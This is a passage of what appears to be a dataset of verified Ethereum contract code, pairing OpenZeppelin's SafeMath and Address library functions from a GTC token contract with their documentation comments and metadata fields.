function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
2562,
2699
]
} | 8,870 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
3224,
3574
]
} | 8,871 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
4026,
4161
]
} | 8,872 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
4675,
4846
]
} | 8,873 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | isContract | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
606,
1230
]
} | 8,874 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
| /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
2160,
2562
]
} | 8,875 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
